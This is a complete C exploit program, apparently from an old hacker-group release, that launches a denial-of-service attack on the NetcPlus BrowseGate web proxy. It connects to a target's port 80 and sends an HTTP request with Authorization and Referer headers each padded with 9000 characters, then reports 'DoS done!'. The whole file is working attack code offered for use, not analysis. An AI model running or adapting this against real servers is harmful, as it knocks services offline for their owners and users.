/*
  * NetcPlus BrowseGate denial of Service
  * -------------------------------------
  * Written quickly for eScx 90
  *
  * grtz to glyc, soph, tessa, entire securax, lamagra & steven, shelloracle ,...
  * by incubus <incubus@securax.org>
  *
  */

#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

int main(int argc, char **argv){
    char tessa[32768];
    int i, sock, result;
    struct sockaddr_in   name;
    struct hostent   *hostinfo;
    if (argc < 2){
    printf ("\nNetcPlus BrowseGate denial of Service\nby incubus <incubus@securax.org>\n\n");
   printf ("try %s www.server.com \n\n", argv[0]);
   exit(0);
    }
    hostinfo=gethostbyname(argv[1]);
    if (!hostinfo){
   herror("Oops");
   exit(-1);
    }
    name.sin_family=AF_INET;
    name.sin_port=htons(80);
    name.sin_addr=*(struct in_addr *)hostinfo->h_addr;
    sock=socket(AF_INET, SOCK_STREAM, 0);
    if (sock < 0){
    herror("Oops");
    exit(-1);
    }
    result=connect(sock, (struct sockaddr *)&name, sizeof(struct sockaddr_in));
    if (result != 0){
    herror("Oops");
    exit(-1);
    }
   strcpy(tessa,"GET / HTTP/1.0\n");
  strcat(tessa,"Authorization: Basic");
   for (i=0; i<9000; i++)
      strcat(tessa, "a");
  strcat(tessa, "\nFrom: some@email.com\n");
  strcat(tessa, "If-Modified-Since: Sat, 12 Nov 1999 12:34:56 GMT\n");
  strcat(tessa, "Referer: http://www.blah.com/");
   for (i=0; i<9000; i++)
      strcat(tessa, "a");
  strcat(tessa, "\nUserAgent: Br0wser 666\n\n\n");
  send(sock, tessa, sizeof(tessa) , 0);
  close(sock);
   printf ("DoS done! :)\n\n");
   exit(0);
}